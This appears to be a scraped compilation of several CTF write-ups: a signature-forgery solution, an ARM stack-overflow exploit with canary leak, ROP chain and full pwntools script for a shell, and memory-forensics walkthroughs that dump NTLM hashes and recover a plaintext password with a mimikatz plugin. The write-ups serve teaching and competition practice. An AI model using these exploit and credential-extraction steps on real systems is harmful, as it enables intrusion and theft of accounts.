```pythondef recover(pk1, sig1, pk2, sig2, message1, message2): from ed import decodepoint, decodeint, encodepoint, Hint, b, l R1 = decodepoint(sig1[0:b / 8]) S1 = decodeint(sig1[b / 8:b / 4]) h1 = Hint(encodepoint(R1) + pk1 + message1)
R2 = decodepoint(sig2[0:b / 8]) S2 = decodeint(sig2[b / 8:b / 4]) h2 = Hint(encodepoint(R2) + pk2 + message1)
a = (S1 - S2) * modinv(h1 - h2, l) print('a', a) forged_signature = forge_signature(message2, pk1, a) checkvalid(forged_signature, message2, pk1) return (forged_signature + message2).encode("hex")```
We use this approach and get the flag: `hxp{Th3_m0sT_f00lpr00f_sYsT3m_br34kz_1f_y0u_4bU5e_1t_h4rD_eN0u9h}` |
The postscript code turned out to be a simple repeated xor cipher. Get the target string and then decrypt it to get the input.
https://github.com/rsa-ctf/write-ups/blob/master/2018/squarectf18/C9-postfuscator/README.md |
# poor_canary
poor_canary is a statically linked ARM binary which echoes input.
```root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# file canarycanary: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=3599326b9bf146191588a1e13fb3db905951de07, not stripped```
The original source code was provided as well, so we can see that (and why) the binary contains `system`:```c#include <stdlib.h>#include <stdio.h>#include <unistd.h>
int main(){ setbuf(stdout, NULL); setbuf(stdin, NULL); char buf[40]; puts("Welcome to hxp's Echo Service!"); while (1) { printf("> "); ssize_t len = read(0, buf, 0x60); if (len <= 0) return 0; if (buf[len - 1] == '\n') buf[--len] = 0; if (len == 0) return 0; puts(buf); }}const void* foo = system;```
The binary is not position independent:```root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# checksec canary[*] '/mnt/c/Users/Benni/hxpctf/poor_canary/canary' Arch: arm-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x10000)```
so IDA can tell us the virtual address where `system` is (0x00016D90).
The buffer `buf` on the stack is 40 bytes long, but `read` will read 0x60 (96) bytes - a classical overflow where we can override the return address. A quick debugging session enlightens us that the return address is 12 bytes behind the canary.
Since the stack is protected by a canary, we have to leak it first. Since canaries always begin with a `00`, we have to send 41 characters to retrieve the canary:```pythonio.send("A"*41)resp = io.recvline()canary = '\x00' + resp[43:-1]```
In order to execute `system("/bin/sh"), we need that string somewhere:```root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# ropper -f canary --string "/bin/sh"
Strings=======
Address Value------- -----0x00071eb0 /bin/sh```
So far so good, now we have to move the address into r0 (first argument is in r0):```root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# ropper -f canary --nocolor | fgrep ": pop {r0"[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%0x0005ab20: pop {r0, r1, r2, r3, ip, lr}; ldr r1, [r0, #4]; bx r1;0x0005a120: pop {r0, r1, r2, r3, r4, lr}; bx ip;0x0005ab04: pop {r0, r1, r3, ip, lr}; pop {r2}; ldr r1, [r0, #4]; bx r1;0x00026b7c: pop {r0, r4, pc};```
`pop {r0, r4, pc}` looks good: it pops into r0 **and** pc, so it does everything we need! We just have to- write 40 bytes of garbage- write the canary- write 12 bytes of garbage- write the address of our pop gadget (0x00026b7c)- write the address of "/bin/sh" (0x00071eb0) (which will be popped into r0)- write 4 bytes of garbage (which will be popped into r4)- write the address of system (which will be popped into pc)and the pc will point to `system`, r0 will point to `/bin/sh`, and thus we will have a shell!
```pythonio.send("A"*40 + canary + "A"*12 + "\x7c\x6b\x02\x00" + "\xb0\x1e\x07\x00" + "A"*4 + "\x90\x6D\x01\x00")```
Our full exploit script:```python#!/usr/bin/env python2# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 116.203.30.62 --port 18113 ./canaryfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./canary')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '116.203.30.62'port = int(args.PORT or 18113)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''break *0x{exe.symbols.main:x}continue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: arm-32-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x10000)
io = start()io.recvline()
# read canaryio.send("A"*41)resp = io.recvline()canary = '\x00' + resp[43:-1]
# GOGOGOio.send("A"*40 + canary + "A"*12 + "\x7c\x6b\x02\x00" + "\xb0\x1e\x07\x00" + "A"*4 + "\x90\x6D\x01\x00")io.interactive()``` |
# What's the PasswordPoints: 100
Description:```you got a sample of rick's PC's memory. can you get his user password? format: CTF{...}https://mega.nz/#!sh8wmCIL!b4tpech4wzc3QQ6YgQ2uZnOmctRZ2duQxDqxbkWYipQ```
If you like to wget: https://transfer.sh/AesNq/OtterCTF.7z
# Solution:We are provided a memory sample, to analyze it we use an Open Source Memory Forensics software called [Volatility](https://www.volatilityfoundation.org). We need to first get a high level summary of what we are analyzing. For that, we can use the `imageinfo` command. There is a good [reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference)It is highly recommended for viewers to go through the basics of memory forensics before attempting it. This challenge is sort of malware analysis style challenge. That's why this CTF is called Blue-Teaming event for a reason, so before starting thanks to Ultra Lutra for putting this awesome stuff together.
You can download volatility from github source or if you think life is easy, you can just `apt-get install volatility`.
First things first, check the image and get the profile```$ python vol.py -f OtterCTF.vmem imageinfoVolatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/volatility-2.6.1/OtterCTF.vmem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c430a0L Number of Processors : 2 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c44d00L KPCR for CPU 1 : 0xfffff880009ef000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2018-08-04 19:34:22 UTC+0000 Image local date and time : 2018-08-04 22:34:22 +0300```
We can use the profile `Win7SP1x64`. Next is to dump the credentials, for that we need `hivelist`.
```$ python vol.py -f OtterCTF.vmem hivelist --profile=Win7SP1x64Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a00377d2d0 0x00000000624162d0 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002d4c1010 [no name]0xfffff8a000024010 0x000000002d50c010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000053320 0x000000002d5bb320 \REGISTRY\MACHINE\HARDWARE0xfffff8a000109410 0x0000000029cb4410 \SystemRoot\System32\Config\SECURITY0xfffff8a00033d410 0x000000002a958410 \Device\HarddiskVolume1\Boot\BCD0xfffff8a0005d5010 0x000000002a983010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a001495010 0x0000000024912010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0016d4010 0x00000000214e1010 \SystemRoot\System32\Config\SAM0xfffff8a00175b010 0x00000000211eb010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a00176e410 0x00000000206db410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a002090010 0x000000000b92b010 \??\C:\Users\Rick\ntuser.dat0xfffff8a0020ad410 0x000000000db41410 \??\C:\Users\Rick\AppData\Local\Microsoft\Windows\UsrClass.dat```
We are particularly interested in virtual offset of `SYSTEM` or `SAM` generally. In this case, we first dig through `SYSTEM`
```$ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 -s 0xfffff8a000024010 hashdumpVolatility Foundation Volatility Framework 2.6Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Rick:1000:aad3b435b51404eeaad3b435b51404ee:518172d012f97d3a8fcc089615283940:::```
Look at the start of the writeup, your life was easy, now you see NTLM hashes, you go and google search the Administrator's hash it's empty and you see`518172d012f97d3a8fcc089615283940` on some hash-cracking site with no success in cracking. Is it getting harder?If it's a memory file, we can basically use mimikatz here, I downloaded the plugin from [here](https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py)
and then ```$ python vol.py --plugins=./plugin/ -f OtterCTF.vmem --profile=Win7SP1x64 mimikatzVolatility Foundation Volatility Framework 2.6Module User Domain Password -------- ---------------- ---------------- ----------------------------------------wdigest Rick WIN-LO6FAF3DTFE MortyIsReallyAnOtter wdigest WIN-LO6FAF3DTFE$ WORKGROUP ```
##### Flag: MortyIsReallyAnOtter
|
## I am a Stegosaurus - Forensics 250:
**Description:** Look Closely **Challenge:** stegosaurus.png **Difficulty:** Easy **Solved by:** Tahar & Eric
**Solution:** Honestly, I was use Windows with Virtualization Software (Workstation & VBox) so I downloaded the file using Windows, and I just opened it and got the Flag x"D so funny!!
But, my Team Mate **Eric** used and Linux and the image did not work, and he wrote the right solution for this challenge! Check his detailed writeup out!! https://medium.com/@thereallulz/writeup-ritsec-ctf-2018-forensics-by-thereallulz-eb06196e7ae1#c58d
**Flag:** RITSEC{th1nk_0uts1d3_th3_b0x} |
# General InfoPoints: 100 point
```Let's start easy,PC Name:IP:```
# Solution:
IP address could be found it you run `netscan` on the memory dump under Local address.
```$ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 netscanVolatility Foundation Volatility Framework 2.6Offset(P) Proto Local Address Foreign Address State Pid Owner Created0x7d60f010 UDPv4 0.0.0.0:1900 *:* 2836 BitTorrent.exe 2018-08-04 19:27:17 UTC+00000x7d62b3f0 UDPv4 192.168.202.131:6771 *:* 2836 BitTorrent.exe 2018-08-04 19:27:22 UTC+00000x7d62f4c0 UDPv4 127.0.0.1:62307 *:* 2836 BitTorrent.exe 2018-08-04 19:27:17 UTC+00000x7d62f920 UDPv4 192.168.202.131:62306 *:* 2836 BitTorrent.exe 2018-08-04 19:27:17 UTC+00000x7d6424c0 UDPv4 0.0.0.0:50762 *:* 4076 chrome.exe 2018-08-04 19:33:37 UTC+00000x7d6b4250 UDPv6 ::1:1900 *:* 164 svchost.exe 2018-08-04 19:28:42 UTC+00000x7d6e3230 UDPv4 127.0.0.1:6771 *:* 2836 BitTorrent.exe 2018-08-04 19:27:22 UTC+00000x7d6ed650 UDPv4 0.0.0.0:5355 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7d71c8a0 UDPv4 0.0.0.0:0 *:* 868 svchost.exe 2018-08-04 19:34:22 UTC+00000x7d71c8a0 UDPv6 :::0 *:* 868 svchost.exe 2018-08-04 19:34:22 UTC+00000x7d74a390 UDPv4 127.0.0.1:52847 *:* 2624 bittorrentie.e 2018-08-04 19:27:24 UTC+00000x7d7602c0 UDPv4 127.0.0.1:52846 *:* 2308 bittorrentie.e 2018-08-04 19:27:24 UTC+00000x7d787010 UDPv4 0.0.0.0:65452 *:* 4076 chrome.exe 2018-08-04 19:33:42 UTC+00000x7d789b50 UDPv4 0.0.0.0:50523 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7d789b50 UDPv6 :::50523 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7d92a230 UDPv4 0.0.0.0:0 *:* 868 svchost.exe 2018-08-04 19:34:22 UTC+00000x7d92a230 UDPv6 :::0 *:* 868 svchost.exe 2018-08-04 19:34:22 UTC+00000x7d9e8b50 UDPv4 0.0.0.0:20830 *:* 2836 BitTorrent.exe 2018-08-04 19:27:15 UTC+00000x7d9f4560 UDPv4 0.0.0.0:0 *:* 3856 WebCompanion.e 2018-08-04 19:34:22 UTC+00000x7d9f8cb0 UDPv4 0.0.0.0:20830 *:* 2836 BitTorrent.exe 2018-08-04 19:27:15 UTC+00000x7d9f8cb0 UDPv6 :::20830 *:* 2836 BitTorrent.exe 2018-08-04 19:27:15 UTC+00000x7d8bb390 TCPv4 0.0.0.0:9008 0.0.0.0:0 LISTENING 4 System 0x7d8bb390 TCPv6 :::9008 :::0 LISTENING 4 System 0x7d9a9240 TCPv4 0.0.0.0:8733 0.0.0.0:0 LISTENING 4 System 0x7d9a9240 TCPv6 :::8733 :::0 LISTENING 4 System 0x7d9e19e0 TCPv4 0.0.0.0:20830 0.0.0.0:0 LISTENING 2836 BitTorrent.exe 0x7d9e19e0 TCPv6 :::20830 :::0 LISTENING 2836 BitTorrent.exe 0x7d9e1c90 TCPv4 0.0.0.0:20830 0.0.0.0:0 LISTENING 2836 BitTorrent.exe 0x7d42ba90 TCPv4 -:0 56.219.196.26:0 CLOSED 2836 BitTorrent.exe 0x7d6124d0 TCPv4 192.168.202.131:49530 77.102.199.102:7575 CLOSED 708 LunarMS.exe 0x7d62d690 TCPv4 192.168.202.131:49229 169.1.143.215:8999 CLOSED 2836 BitTorrent.exe 0x7d634350 TCPv6 -:0 38db:c41a:80fa:ffff:38db:c41a:80fa:ffff:0 CLOSED 2836 BitTorrent.exe 0x7d6f27f0 TCPv4 192.168.202.131:50381 71.198.155.180:34674 CLOSED 2836 BitTorrent.exe 0x7d704010 TCPv4 192.168.202.131:50382 92.251.23.204:6881 CLOSED 2836 BitTorrent.exe 0x7d708cf0 TCPv4 192.168.202.131:50364 91.140.89.116:31847 CLOSED 2836 BitTorrent.exe 0x7d729620 TCPv4 -:50034 142.129.37.27:24578 CLOSED 2836 BitTorrent.exe 0x7d72cbe0 TCPv4 192.168.202.131:50340 23.37.43.27:80 CLOSED 3496 Lavasoft.WCAss 0x7d7365a0 TCPv4 192.168.202.131:50358 23.37.43.27:80 CLOSED 3856 WebCompanion.e 0x7d81c890 TCPv4 192.168.202.131:50335 185.154.111.20:60405 CLOSED 2836 BitTorrent.exe 0x7d8fd530 TCPv4 192.168.202.131:50327 23.37.43.27:80 CLOSED 3496 Lavasoft.WCAss 0x7d9cecf0 TCPv4 192.168.202.131:50373 173.239.232.46:2997 CLOSED 2836 BitTorrent.exe 0x7d9d7cf0 TCPv4 192.168.202.131:50371 191.253.122.149:59163 CLOSED 2836 BitTorrent.exe 0x7daefec0 UDPv4 0.0.0.0:0 *:* 3856 WebCompanion.e 2018-08-04 19:34:22 UTC+00000x7daefec0 UDPv6 :::0 *:* 3856 WebCompanion.e 2018-08-04 19:34:22 UTC+00000x7db83b90 UDPv4 0.0.0.0:0 *:* 3880 WebCompanionIn 2018-08-04 19:33:30 UTC+00000x7db83b90 UDPv6 :::0 *:* 3880 WebCompanionIn 2018-08-04 19:33:30 UTC+00000x7db9cdd0 UDPv4 0.0.0.0:0 *:* 2844 WebCompanion.e 2018-08-04 19:30:05 UTC+00000x7db9cdd0 UDPv6 :::0 *:* 2844 WebCompanion.e 2018-08-04 19:30:05 UTC+00000x7dc2dc30 UDPv4 0.0.0.0:50879 *:* 4076 chrome.exe 2018-08-04 19:30:41 UTC+00000x7dc2dc30 UDPv6 :::50879 *:* 4076 chrome.exe 2018-08-04 19:30:41 UTC+00000x7dc83810 UDPv4 0.0.0.0:5355 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7dc83810 UDPv6 :::5355 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7dd82c30 UDPv4 0.0.0.0:5355 *:* 620 svchost.exe 2018-08-04 19:26:38 UTC+00000x7df00980 UDPv4 0.0.0.0:0 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7df00980 UDPv6 :::0 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7df04cc0 UDPv4 0.0.0.0:5355 *:* 620 svchost.exe 2018-08-04 19:26:38 UTC+00000x7df04cc0 UDPv6 :::5355 *:* 620 svchost.exe 2018-08-04 19:26:38 UTC+00000x7df5f010 UDPv4 0.0.0.0:55175 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7dfab010 UDPv4 0.0.0.0:58383 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7dfab010 UDPv6 :::58383 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7e12c1c0 UDPv4 0.0.0.0:0 *:* 3880 WebCompanionIn 2018-08-04 19:33:27 UTC+00000x7e163a40 UDPv4 0.0.0.0:0 *:* 3880 WebCompanionIn 2018-08-04 19:33:27 UTC+00000x7e163a40 UDPv6 :::0 *:* 3880 WebCompanionIn 2018-08-04 19:33:27 UTC+00000x7e1cf010 UDPv4 192.168.202.131:137 *:* 4 System 2018-08-04 19:26:35 UTC+00000x7e1da010 UDPv4 192.168.202.131:138 *:* 4 System 2018-08-04 19:26:35 UTC+00000x7dc4ad30 TCPv4 0.0.0.0:49155 0.0.0.0:0 LISTENING 500 lsass.exe 0x7dc4ad30 TCPv6 :::49155 :::0 LISTENING 500 lsass.exe 0x7dc4b370 TCPv4 0.0.0.0:49155 0.0.0.0:0 LISTENING 500 lsass.exe 0x7dd71010 TCPv4 0.0.0.0:445 0.0.0.0:0 LISTENING 4 System 0x7dd71010 TCPv6 :::445 :::0 LISTENING 4 System 0x7ddca6b0 TCPv4 0.0.0.0:49156 0.0.0.0:0 LISTENING 492 services.exe 0x7ddcbc00 TCPv4 0.0.0.0:49156 0.0.0.0:0 LISTENING 492 services.exe 0x7ddcbc00 TCPv6 :::49156 :::0 LISTENING 492 services.exe 0x7de09c30 TCPv4 0.0.0.0:49152 0.0.0.0:0 LISTENING 396 wininit.exe 0x7de09c30 TCPv6 :::49152 :::0 LISTENING 396 wininit.exe 0x7de0d7b0 TCPv4 0.0.0.0:49152 0.0.0.0:0 LISTENING 396 wininit.exe 0x7de424e0 TCPv4 0.0.0.0:49153 0.0.0.0:0 LISTENING 808 svchost.exe 0x7de45ef0 TCPv4 0.0.0.0:49153 0.0.0.0:0 LISTENING 808 svchost.exe 0x7de45ef0 TCPv6 :::49153 :::0 LISTENING 808 svchost.exe 0x7df3d270 TCPv4 0.0.0.0:49154 0.0.0.0:0 LISTENING 868 svchost.exe 0x7df3eef0 TCPv4 0.0.0.0:49154 0.0.0.0:0 LISTENING 868 svchost.exe 0x7df3eef0 TCPv6 :::49154 :::0 LISTENING 868 svchost.exe 0x7e1f6010 TCPv4 0.0.0.0:135 0.0.0.0:0 LISTENING 712 svchost.exe 0x7e1f6010 TCPv6 :::135 :::0 LISTENING 712 svchost.exe 0x7e1f8ef0 TCPv4 0.0.0.0:135 0.0.0.0:0 LISTENING 712 svchost.exe 0x7db000a0 TCPv4 -:50091 93.142.197.107:32645 CLOSED 2836 BitTorrent.exe 0x7db132e0 TCPv4 192.168.202.131:50280 72.55.154.81:80 CLOSED 3880 WebCompanionIn 0x7dbc3010 TCPv6 -:0 4847:d418:80fa:ffff:4847:d418:80fa:ffff:0 CLOSED 4076 chrome.exe 0x7dc4bcf0 TCPv4 -:0 104.240.179.26:0 CLOSED 3 ?4???? 0x7dc83080 TCPv4 192.168.202.131:50377 179.108.238.10:19761 CLOSED 2836 BitTorrent.exe 0x7dd451f0 TCPv4 192.168.202.131:50321 45.27.208.145:51414 CLOSED 2836 BitTorrent.exe 0x7ddae890 TCPv4 -:50299 212.92.105.227:8999 CLOSED 2836 BitTorrent.exe 0x7ddff010 TCPv4 192.168.202.131:50379 23.37.43.27:80 CLOSED 3856 WebCompanion.e 0x7e0057d0 TCPv4 192.168.202.131:50353 85.242.139.158:51413 CLOSED 2836 BitTorrent.exe 0x7e0114b0 TCPv4 192.168.202.131:50339 77.65.111.216:8306 CLOSED 2836 BitTorrent.exe 0x7e042cf0 TCPv4 192.168.202.131:50372 83.44.27.35:52103 CLOSED 2836 BitTorrent.exe 0x7e08a010 TCPv4 192.168.202.131:50374 89.46.49.163:20133 CLOSED 2836 BitTorrent.exe 0x7e092010 TCPv4 192.168.202.131:50378 120.29.114.41:13155 CLOSED 2836 BitTorrent.exe 0x7e094b90 TCPv4 192.168.202.131:50365 52.91.1.182:55125 CLOSED 2836 BitTorrent.exe 0x7e09ba90 TCPv6 -:0 68f0:181b:80fa:ffff:68f0:181b:80fa:ffff:0 CLOSED 2836 BitTorrent.exe 0x7e0a8b90 TCPv4 192.168.202.131:50341 72.55.154.81:80 CLOSED 3880 WebCompanionIn 0x7e0d6180 TCPv4 192.168.202.131:50349 196.250.217.22:32815 CLOSED 2836 BitTorrent.exe 0x7e108100 TCPv4 192.168.202.131:50360 174.0.234.77:31240 CLOSED 2836 BitTorrent.exe 0x7e124910 TCPv4 192.168.202.131:50366 89.78.106.196:51413 CLOSED 2836 BitTorrent.exe 0x7e14dcf0 TCPv4 192.168.202.131:50363 122.62.218.159:11627 CLOSED 2836 BitTorrent.exe 0x7e18bcf0 TCPv4 192.168.202.131:50333 191.177.124.34:21011 CLOSED 2836 BitTorrent.exe 0x7e1f7ab0 TCPv4 -:0 56.187.190.26:0 CLOSED 3 ?4???? 0x7e48d9c0 UDPv6 fe80::b06b:a531:ec88:457f:1900 *:* 164 svchost.exe 2018-08-04 19:28:42 UTC+00000x7e4ad870 UDPv4 127.0.0.1:1900 *:* 164 svchost.exe 2018-08-04 19:28:42 UTC+00000x7e511bb0 UDPv4 0.0.0.0:60005 *:* 620 svchost.exe 2018-08-04 19:34:22 UTC+00000x7e5dc3b0 UDPv6 fe80::b06b:a531:ec88:457f:546 *:* 808 svchost.exe 2018-08-04 19:33:28 UTC+00000x7e7469c0 UDPv4 0.0.0.0:50878 *:* 4076 chrome.exe 2018-08-04 19:30:39 UTC+00000x7e7469c0 UDPv6 :::50878 *:* 4076 chrome.exe 2018-08-04 19:30:39 UTC+00000x7e77cb00 UDPv4 0.0.0.0:50748 *:* 4076 chrome.exe 2018-08-04 19:30:07 UTC+00000x7e77cb00 UDPv6 :::50748 *:* 4076 chrome.exe 2018-08-04 19:30:07 UTC+00000x7e79f3f0 UDPv4 0.0.0.0:5353 *:* 4076 chrome.exe 2018-08-04 19:29:35 UTC+00000x7e7a0ec0 UDPv4 0.0.0.0:5353 *:* 4076 chrome.exe 2018-08-04 19:29:35 UTC+00000x7e7a0ec0 UDPv6 :::5353 *:* 4076 chrome.exe 2018-08-04 19:29:35 UTC+00000x7e7a3960 UDPv4 0.0.0.0:0 *:* 3880 WebCompanionIn 2018-08-04 19:33:30 UTC+00000x7e7dd010 UDPv6 ::1:58340 *:* 164 svchost.exe 2018-08-04 19:28:42 UTC+00000x7e413a40 TCPv4 -:0 -:0 CLOSED 708 LunarMS.exe 0x7e415010 TCPv4 192.168.202.131:50346 89.64.10.176:10589 CLOSED 2836 BitTorrent.exe 0x7e4202d0 TCPv4 192.168.202.131:50217 104.18.21.226:80 CLOSED 3880 WebCompanionIn 0x7e45f110 TCPv4 192.168.202.131:50211 104.18.20.226:80 CLOSED 3880 WebCompanionIn 0x7e4cc910 TCPv4 192.168.202.131:50228 104.18.20.226:80 CLOSED 3880 WebCompanionIn 0x7e512950 TCPv4 192.168.202.131:50345 77.126.30.221:13905 CLOSED 2836 BitTorrent.exe 0x7e521b50 TCPv4 -:0 -:0 CLOSED 708 LunarMS.exe 0x7e5228d0 TCPv4 192.168.202.131:50075 70.65.116.120:52700 CLOSED 2836 BitTorrent.exe 0x7e52f010 TCPv4 192.168.202.131:50343 86.121.4.189:46392 CLOSED 2836 BitTorrent.exe 0x7e563860 TCPv4 192.168.202.131:50170 103.232.25.44:25384 CLOSED 2836 BitTorrent.exe 0x7e572cf0 TCPv4 192.168.202.131:50125 122.62.218.159:11627 CLOSED 2836 BitTorrent.exe 0x7e5d6cf0 TCPv4 192.168.202.131:50324 54.197.8.177:49420 CLOSED 2836 BitTorrent.exe 0x7e71b010 TCPv4 192.168.202.131:50344 70.27.98.75:6881 CLOSED 2836 BitTorrent.exe 0x7e71d010 TCPv4 192.168.202.131:50351 99.251.199.160:1045 CLOSED 2836 BitTorrent.exe 0x7e74b010 TCPv4 192.168.202.131:50385 209.236.6.89:56500 CLOSED 2836 BitTorrent.exe 0x7e78b7f0 TCPv4 192.168.202.131:50238 72.55.154.82:80 CLOSED 3880 WebCompanionIn 0x7e7ae380 TCPv4 192.168.202.131:50361 5.34.21.181:8999 CLOSED 2836 BitTorrent.exe 0x7e7b0380 TCPv6 -:0 4847:d418:80fa:ffff:4847:d418:80fa:ffff:0 CLOSED 2836 BitTorrent.exe 0x7e7b9010 TCPv4 192.168.202.131:50334 188.129.94.129:25128 CLOSED 2836 BitTorrent.exe 0x7e94b010 TCPv4 192.168.202.131:50356 77.126.30.221:13905 CLOSED 2836 BitTorrent.exe 0x7e9ad840 TCPv4 192.168.202.131:50380 84.52.144.29:56299 CLOSED 2836 BitTorrent.exe 0x7e9bacf0 TCPv4 192.168.202.131:50350 77.253.242.0:5000 CLOSED 2836 BitTorrent.exe 0x7eaac5e0 TCPv4 192.168.202.131:50387 93.184.220.29:80 CLOSED 3856 WebCompanion.e 0x7eab4cf0 TCPv4 -:0 56.219.196.26:0 CLOSED 2836 BitTorrent.exe 0x7fb9cec0 UDPv4 192.168.202.131:1900 *:* 164 svchost.exe 2018-08-04 19:28:42 UTC+00000x7fb9d430 UDPv4 127.0.0.1:58341 *:* 164 svchost.exe 2018-08-04 19:28:42 UTC+000```
##### Flag: CTF{192.168.202.131}
We read the registry key for our PC Name```$ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName'Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \REGISTRY\MACHINE\SYSTEMKey name: ComputerName (S)Last updated: 2018-06-02 19:23:00 UTC+0000
Subkeys:
Values:REG_SZ : (S) mnmsrvcREG_SZ ComputerName : (S) WIN-LO6FAF3DTFE```
##### CTF{WIN-LO6FAF3DTFE} |
# Hide and SeekPoints: 100
```The reason that we took rick's PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)
BEAWARE! There are only 3 attempts to get the right flag!
format: CTF{flag}```
# Solution:
Now, it boils down to finding the process and that too within 3 attempts. `pslist` would list down the process
```python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 pslistVolatility Foundation Volatility Framework 2.6Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xfffffa8018d44740 System 4 0 95 411 ------ 0 2018-08-04 19:26:03 UTC+0000 0xfffffa801947e4d0 smss.exe 260 4 2 30 ------ 0 2018-08-04 19:26:03 UTC+0000 0xfffffa801a0c8380 csrss.exe 348 336 9 563 0 0 2018-08-04 19:26:10 UTC+0000 0xfffffa80198d3b30 csrss.exe 388 380 11 460 1 0 2018-08-04 19:26:11 UTC+0000 0xfffffa801a2ed060 wininit.exe 396 336 3 78 0 0 2018-08-04 19:26:11 UTC+0000 0xfffffa801aaf4060 winlogon.exe 432 380 3 113 1 0 2018-08-04 19:26:11 UTC+0000 0xfffffa801ab377c0 services.exe 492 396 11 242 0 0 2018-08-04 19:26:12 UTC+0000 0xfffffa801ab3f060 lsass.exe 500 396 7 610 0 0 2018-08-04 19:26:12 UTC+0000 0xfffffa801ab461a0 lsm.exe 508 396 10 148 0 0 2018-08-04 19:26:12 UTC+0000 0xfffffa8018e3c890 svchost.exe 604 492 11 376 0 0 2018-08-04 19:26:16 UTC+0000 0xfffffa801abbdb30 vmacthlp.exe 668 492 3 56 0 0 2018-08-04 19:26:16 UTC+0000 0xfffffa801abebb30 svchost.exe 712 492 8 301 0 0 2018-08-04 19:26:17 UTC+0000 0xfffffa801ac2e9e0 svchost.exe 808 492 22 508 0 0 2018-08-04 19:26:18 UTC+0000 0xfffffa801ac31b30 svchost.exe 844 492 17 396 0 0 2018-08-04 19:26:18 UTC+0000 0xfffffa801ac4db30 svchost.exe 868 492 45 1114 0 0 2018-08-04 19:26:18 UTC+0000 0xfffffa801ac753a0 audiodg.exe 960 808 7 151 0 0 2018-08-04 19:26:19 UTC+0000 0xfffffa801ac97060 svchost.exe 1012 492 12 554 0 0 2018-08-04 19:26:20 UTC+0000 0xfffffa801acd37e0 svchost.exe 620 492 19 415 0 0 2018-08-04 19:26:21 UTC+0000 0xfffffa801ad5ab30 spoolsv.exe 1120 492 14 346 0 0 2018-08-04 19:26:22 UTC+0000 0xfffffa801ad718a0 svchost.exe 1164 492 18 312 0 0 2018-08-04 19:26:23 UTC+0000 0xfffffa801ae0f630 VGAuthService. 1356 492 3 85 0 0 2018-08-04 19:26:25 UTC+0000 0xfffffa801ae92920 vmtoolsd.exe 1428 492 9 313 0 0 2018-08-04 19:26:27 UTC+0000 0xfffffa8019124b30 WmiPrvSE.exe 1800 604 9 222 0 0 2018-08-04 19:26:39 UTC+0000 0xfffffa801afe7800 svchost.exe 1948 492 6 96 0 0 2018-08-04 19:26:42 UTC+0000 0xfffffa801ae7f630 dllhost.exe 1324 492 15 207 0 0 2018-08-04 19:26:42 UTC+0000 